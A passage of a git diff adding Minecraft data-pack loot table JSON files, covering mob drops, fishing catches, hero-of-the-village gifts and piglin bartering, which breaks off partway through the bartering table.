index 00000000..8e90b863 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/witch.json @@ -0,0 +1,162 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:glowstone_dust" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:sugar" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:redstone" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:spider_eye" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:glass_bottle" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:gunpowder" + }, + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:stick" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/wither.json b/src/data/minecraft/loot_tables/entities/wither.json new file mode 100644 index 00000000..601c1935 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/wither.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:entity" +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/wither_skeleton.json b/src/data/minecraft/loot_tables/entities/wither_skeleton.json new file mode 100644 index 00000000..03ccd900 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/wither_skeleton.json @@ -0,0 +1,76 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": -1.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:coal" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:bone" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:wither_skeleton_skull" + } + ], + "conditions": [ + { + "condition": "minecraft:killed_by_player" + }, + { + "condition": "minecraft:random_chance_with_looting", + "chance": 0.025, + "looting_multiplier": 0.01 + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/wolf.json b/src/data/minecraft/loot_tables/entities/wolf.json new file mode 100644 index 00000000..601c1935 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/wolf.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:entity" +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/zoglin.json b/src/data/minecraft/loot_tables/entities/zoglin.json new file mode 100644 index 00000000..9dfee61a --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/zoglin.json @@ -0,0 +1,31 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:rotten_flesh" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/zombie.json b/src/data/minecraft/loot_tables/entities/zombie.json new file mode 100644 index 00000000..61361d5a --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/zombie.json @@ -0,0 +1,58 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:rotten_flesh" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:iron_ingot" + }, + { + "type": "minecraft:item", + "name": "minecraft:carrot" + }, + { + "type": "minecraft:item", + "name": "minecraft:potato" + } + ], + "conditions": [ + { + "condition": "minecraft:killed_by_player" + }, + { + "condition": "minecraft:random_chance_with_looting", + "chance": 0.025, + "looting_multiplier": 0.01 + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/zombie_horse.json b/src/data/minecraft/loot_tables/entities/zombie_horse.json new file mode 100644 index 00000000..93424e34 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/zombie_horse.json @@ -0,0 +1,31 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:rotten_flesh" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/zombie_villager.json b/src/data/minecraft/loot_tables/entities/zombie_villager.json new file mode 100644 index 00000000..61361d5a --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/zombie_villager.json @@ -0,0 +1,58 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:rotten_flesh" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:iron_ingot" + }, + { + "type": "minecraft:item", + "name": "minecraft:carrot" + }, + { + "type": "minecraft:item", + "name": "minecraft:potato" + } + ], + "conditions": [ + { + "condition": "minecraft:killed_by_player" + }, + { + "condition": "minecraft:random_chance_with_looting", + "chance": 0.025, + "looting_multiplier": 0.01 + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/entities/zombified_piglin.json b/src/data/minecraft/loot_tables/entities/zombified_piglin.json new file mode 100644 index 00000000..f71a6c50 --- /dev/null +++ b/src/data/minecraft/loot_tables/entities/zombified_piglin.json @@ -0,0 +1,76 @@ +{ + "type": "minecraft:entity", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:rotten_flesh" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:looting_enchant", + "count": { + "min": 0.0, + "max": 1.0 + } + } + ], + "name": "minecraft:gold_nugget" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:gold_ingot" + } + ], + "conditions": [ + { + "condition": "minecraft:killed_by_player" + }, + { + "condition": "minecraft:random_chance_with_looting", + "chance": 0.025, + "looting_multiplier": 0.01 + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/gameplay/cat_morning_gift.json b/src/data/minecraft/loot_tables/gameplay/cat_morning_gift.json new file mode 100644 index 00000000..9e1dab6b --- /dev/null +++ b/src/data/minecraft/loot_tables/gameplay/cat_morning_gift.json @@ -0,0 +1,45 @@ +{ + "type": "minecraft:gift", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "weight": 10, + "name": "minecraft:rabbit_hide" + }, + { + "type": "minecraft:item", + "weight": 10, + "name": "minecraft:rabbit_foot" + }, + { + "type": "minecraft:item", + "weight": 10, + "name": "minecraft:chicken" + }, + { + "type": "minecraft:item", + "weight": 10, + "name": "minecraft:feather" + }, + { + "type": "minecraft:item", + "weight": 10, + "name": "minecraft:rotten_flesh" + }, + { + "type": "minecraft:item", + "weight": 10, + "name": "minecraft:string" + }, + { + "type": "minecraft:item", + "weight": 2, + "name": "minecraft:phantom_membrane" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/gameplay/fishing.json b/src/data/minecraft/loot_tables/gameplay/fishing.json new file mode 100644 index 00000000..14c15791 --- /dev/null +++ b/src/data/minecraft/loot_tables/gameplay/fishing.json @@ -0,0 +1,39 @@ +{ + "type": "minecraft:fishing", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:loot_table", + "weight": 10, + "quality": -2, + "name": "minecraft:gameplay/fishing/junk" + }, + { + "type": "minecraft:loot_table", + "conditions": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "fishing_hook": { + "in_open_water": true + } + }, + "entity": "this" + } + ], + "weight": 5, + "quality": 2, + "name": "minecraft:gameplay/fishing/treasure" + }, + { + "type": "minecraft:loot_table", + "weight": 85, + "quality": -1, + "name": "minecraft:gameplay/fishing/fish" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/gameplay/fishing/fish.json b/src/data/minecraft/loot_tables/gameplay/fishing/fish.json new file mode 100644 index 00000000..33572c66 --- /dev/null +++ b/src/data/minecraft/loot_tables/gameplay/fishing/fish.json @@ -0,0 +1,30 @@ +{ + "type": "minecraft:fishing", + "pools": [ + { + "rolls": 1.0, + "entries": [ + { + "type": "minecraft:item", + "weight": 60, + "name": "minecraft:cod" + }, + { + "type": "minecraft:item", + "weight": 25, + "name": "minecraft:salmon" + }, + { + "type": "minecraft:item", + "weight": 2, + "name": "minecraft:tropical_fish" + }, + { + "type": "minecraft:item", + "weight": 13, + "name": "minecraft:pufferfish" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/gameplay/fishing/junk.json b/src/data/minecraft/loot_tables/gameplay/fishing/junk.json new file mode 100644 index 00000000..51be6a86 --- /dev/null +++ b/src/data/minecraft/loot_tables/gameplay/fishing/junk.json @@ -0,0 +1,153 @@ +{ + "type": "minecraft:fishing", + "pools": [ + { + "rolls": 1.0, + "entries": [ + { + "type": "minecraft:item", + "weight": 17, + "name": "minecraft:lily_pad" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_damage", + "damage": { + "min": 0.0, + "max": 0.9 + } + } + ], + "name": "minecraft:leather_boots" + }, + { + "type": "minecraft:item", + "weight": 10, + "name": "minecraft:leather" + }, + { + "type": "minecraft:item", + "weight": 10, + "name": "minecraft:bone" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_nbt", + "tag": "{Potion:\"minecraft:water\"}" + } + ], + "name": "minecraft:potion" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:string" + }, + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_damage", + "damage": { + "min": 0.0, + "max": 0.9 + } + } + ], + "name": "minecraft:fishing_rod" + }, + { + "type": "minecraft:item", + "weight": 10, + "name": "minecraft:bowl" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:stick" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 10 + } + ], + "name": "minecraft:ink_sac" + }, + { + "type": "minecraft:item", + "weight": 10, + "name": "minecraft:tripwire_hook" + }, + { + "type": "minecraft:item", + "weight": 10, + "name": "minecraft:rotten_flesh" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:alternative", + "terms": [ + { + "condition": "minecraft:location_check", + "predicate": { + "biome": "minecraft:jungle" + } + }, + { + "condition": "minecraft:location_check", + "predicate": { + "biome": "minecraft:jungle_hills" + } + }, + { + "condition": "minecraft:location_check", + "predicate": { + "biome": "minecraft:jungle_edge" + } + }, + { + "condition": "minecraft:location_check", + "predicate": { + "biome": "minecraft:bamboo_jungle" + } + }, + { + "condition": "minecraft:location_check", + "predicate": { + "biome": "minecraft:modified_jungle" + } + }, + { + "condition": "minecraft:location_check", + "predicate": { + "biome": "minecraft:modified_jungle_edge" + } + }, + { + "condition": "minecraft:location_check", + "predicate": { + "biome": "minecraft:bamboo_jungle_hills" + } + } + ] + } + ], + "weight": 10, + "name": "minecraft:bamboo" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/gameplay/fishing/treasure.json b/src/data/minecraft/loot_tables/gameplay/fishing/treasure.json new file mode 100644 index 00000000..dc3f59b7 --- /dev/null +++ b/src/data/minecraft/loot_tables/gameplay/fishing/treasure.json @@ -0,0 +1,69 @@ +{ + "type": "minecraft:fishing", + "pools": [ + { + "rolls": 1.0, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:name_tag" + }, + { + "type": "minecraft:item", + "name": "minecraft:saddle" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_damage", + "damage": { + "min": 0.0, + "max": 0.25 + } + }, + { + "function": "minecraft:enchant_with_levels", + "levels": 30, + "treasure": true + } + ], + "name": "minecraft:bow" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_damage", + "damage": { + "min": 0.0, + "max": 0.25 + } + }, + { + "function": "minecraft:enchant_with_levels", + "levels": 30, + "treasure": true + } + ], + "name": "minecraft:fishing_rod" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:enchant_with_levels", + "levels": 30, + "treasure": true + } + ], + "name": "minecraft:book" + }, + { + "type": "minecraft:item", + "name": "minecraft:nautilus_shell" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/armorer_gift.json b/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/armorer_gift.json new file mode 100644 index 00000000..428103d8 --- /dev/null +++ b/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/armorer_gift.json @@ -0,0 +1,26 @@ +{ + "type": "minecraft:gift", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:chainmail_helmet" + }, + { + "type": "minecraft:item", + "name": "minecraft:chainmail_chestplate" + }, + { + "type": "minecraft:item", + "name": "minecraft:chainmail_leggings" + }, + { + "type": "minecraft:item", + "name": "minecraft:chainmail_boots" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/butcher_gift.json b/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/butcher_gift.json new file mode 100644 index 00000000..e7279374 --- /dev/null +++ b/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/butcher_gift.json @@ -0,0 +1,30 @@ +{ + "type": "minecraft:gift", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:cooked_rabbit" + }, + { + "type": "minecraft:item", + "name": "minecraft:cooked_chicken" + }, + { + "type": "minecraft:item", + "name": "minecraft:cooked_porkchop" + }, + { + "type": "minecraft:item", + "name": "minecraft:cooked_beef" + }, + { + "type": "minecraft:item", + "name": "minecraft:cooked_mutton" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/cartographer_gift.json b/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/cartographer_gift.json new file mode 100644 index 00000000..06e8c975 --- /dev/null +++ b/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/cartographer_gift.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:gift", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:map" + }, + { + "type": "minecraft:item", + "name": "minecraft:paper" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/cleric_gift.json b/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/cleric_gift.json new file mode 100644 index 00000000..1f2c353a --- /dev/null +++ b/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/cleric_gift.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:gift", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:redstone" + }, + { + "type": "minecraft:item", + "name": "minecraft:lapis_lazuli" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/farmer_gift.json b/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/farmer_gift.json new file mode 100644 index 00000000..5ee00720 --- /dev/null +++ b/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/farmer_gift.json @@ -0,0 +1,22 @@ +{ + "type": "minecraft:gift", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:bread" + }, + { + "type": "minecraft:item", + "name": "minecraft:pumpkin_pie" + }, + { + "type": "minecraft:item", + "name": "minecraft:cookie" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/fisherman_gift.json b/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/fisherman_gift.json new file mode 100644 index 00000000..88e09b97 --- /dev/null +++ b/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/fisherman_gift.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:gift", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:cod" + }, + { + "type": "minecraft:item", + "name": "minecraft:salmon" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/fletcher_gift.json b/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/fletcher_gift.json new file mode 100644 index 00000000..821a4558 --- /dev/null +++ b/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/fletcher_gift.json @@ -0,0 +1,249 @@ +{ + "type": "minecraft:gift", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "weight": 26, + "name": "minecraft:arrow" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:set_nbt", + "tag": "{Potion:\"minecraft:swiftness\"}" + } + ], + "name": "minecraft:tipped_arrow" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:set_nbt", + "tag": "{Potion:\"minecraft:slowness\"}" + } + ], + "name": "minecraft:tipped_arrow" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:set_nbt", + "tag": "{Potion:\"minecraft:strength\"}" + } + ], + "name": "minecraft:tipped_arrow" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:set_nbt", + "tag": "{Potion:\"minecraft:healing\"}" + } + ], + "name": "minecraft:tipped_arrow" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:set_nbt", + "tag": "{Potion:\"minecraft:harming\"}" + } + ], + "name": "minecraft:tipped_arrow" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:set_nbt", + "tag": "{Potion:\"minecraft:leaping\"}" + } + ], + "name": "minecraft:tipped_arrow" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:set_nbt", + "tag": "{Potion:\"minecraft:regeneration\"}" + } + ], + "name": "minecraft:tipped_arrow" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:set_nbt", + "tag": "{Potion:\"minecraft:fire_resistance\"}" + } + ], + "name": "minecraft:tipped_arrow" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:set_nbt", + "tag": "{Potion:\"minecraft:water_breathing\"}" + } + ], + "name": "minecraft:tipped_arrow" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:set_nbt", + "tag": "{Potion:\"minecraft:invisibility\"}" + } + ], + "name": "minecraft:tipped_arrow" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:set_nbt", + "tag": "{Potion:\"minecraft:night_vision\"}" + } + ], + "name": "minecraft:tipped_arrow" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:set_nbt", + "tag": "{Potion:\"minecraft:weakness\"}" + } + ], + "name": "minecraft:tipped_arrow" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:set_nbt", + "tag": "{Potion:\"minecraft:poison\"}" + } + ], + "name": "minecraft:tipped_arrow" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/leatherworker_gift.json b/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/leatherworker_gift.json new file mode 100644 index 00000000..07953673 --- /dev/null +++ b/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/leatherworker_gift.json @@ -0,0 +1,14 @@ +{ + "type": "minecraft:gift", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:leather" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/librarian_gift.json b/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/librarian_gift.json new file mode 100644 index 00000000..ece44795 --- /dev/null +++ b/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/librarian_gift.json @@ -0,0 +1,14 @@ +{ + "type": "minecraft:gift", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:book" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/mason_gift.json b/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/mason_gift.json new file mode 100644 index 00000000..9e08b232 --- /dev/null +++ b/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/mason_gift.json @@ -0,0 +1,14 @@ +{ + "type": "minecraft:gift", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:clay" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/shepherd_gift.json b/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/shepherd_gift.json new file mode 100644 index 00000000..8a97c8d8 --- /dev/null +++ b/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/shepherd_gift.json @@ -0,0 +1,74 @@ +{ + "type": "minecraft:gift", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:white_wool" + }, + { + "type": "minecraft:item", + "name": "minecraft:orange_wool" + }, + { + "type": "minecraft:item", + "name": "minecraft:magenta_wool" + }, + { + "type": "minecraft:item", + "name": "minecraft:light_blue_wool" + }, + { + "type": "minecraft:item", + "name": "minecraft:yellow_wool" + }, + { + "type": "minecraft:item", + "name": "minecraft:lime_wool" + }, + { + "type": "minecraft:item", + "name": "minecraft:pink_wool" + }, + { + "type": "minecraft:item", + "name": "minecraft:gray_wool" + }, + { + "type": "minecraft:item", + "name": "minecraft:light_gray_wool" + }, + { + "type": "minecraft:item", + "name": "minecraft:cyan_wool" + }, + { + "type": "minecraft:item", + "name": "minecraft:purple_wool" + }, + { + "type": "minecraft:item", + "name": "minecraft:blue_wool" + }, + { + "type": "minecraft:item", + "name": "minecraft:brown_wool" + }, + { + "type": "minecraft:item", + "name": "minecraft:green_wool" + }, + { + "type": "minecraft:item", + "name": "minecraft:red_wool" + }, + { + "type": "minecraft:item", + "name": "minecraft:black_wool" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/toolsmith_gift.json b/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/toolsmith_gift.json new file mode 100644 index 00000000..ffe844fe --- /dev/null +++ b/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/toolsmith_gift.json @@ -0,0 +1,26 @@ +{ + "type": "minecraft:gift", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:stone_pickaxe" + }, + { + "type": "minecraft:item", + "name": "minecraft:stone_axe" + }, + { + "type": "minecraft:item", + "name": "minecraft:stone_hoe" + }, + { + "type": "minecraft:item", + "name": "minecraft:stone_shovel" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/weaponsmith_gift.json b/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/weaponsmith_gift.json new file mode 100644 index 00000000..cf760ef6 --- /dev/null +++ b/src/data/minecraft/loot_tables/gameplay/hero_of_the_village/weaponsmith_gift.json @@ -0,0 +1,22 @@ +{ + "type": "minecraft:gift", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:stone_axe" + }, + { + "type": "minecraft:item", + "name": "minecraft:golden_axe" + }, + { + "type": "minecraft:item", + "name": "minecraft:iron_axe" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/gameplay/piglin_bartering.json b/src/data/minecraft/loot_tables/gameplay/piglin_bartering.json new file mode 100644 index 00000000..3891279d --- /dev/null +++ b/src/data/minecraft/loot_tables/gameplay/piglin_bartering.json @@ -0,0 +1,244 @@ +{ + "type": "minecraft:barter", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:enchant_randomly", + "enchantments": [ + "minecraft:soul_speed" + ] + } + ], + "name": "minecraft:book" + }, + { + "type": "minecraft:item", + "weight": 8, + "functions": [ + { + "function": "minecraft:enchant_randomly", + "enchantments": [ + "minecraft:soul_speed" + ] + } + ], + "name": "minecraft:iron_boots" + }, + { + "type": "minecraft:item", + "weight": 8, + "functions": [ + { + "function": "minecraft:set_nbt", + "tag": "{Potion:\"minecraft:fire_resistance\"}" + } + ], + "name": "minecraft:potion" + }, + { + "type": "minecraft:item", + "weight": 8, + "functions": [ + { + "function": "minecraft:set_nbt", + "tag": "{Potion:\"minecraft:fire_resistance\"}" + } + ], + "name": "minecraft:splash_potion" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_nbt", + "tag": "{Potion:\"minecraft:water\"}" + } + ], + "name": "minecraft:potion" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 10.0, + "max": 36.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:iron_nugget" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 4.0, + "type": 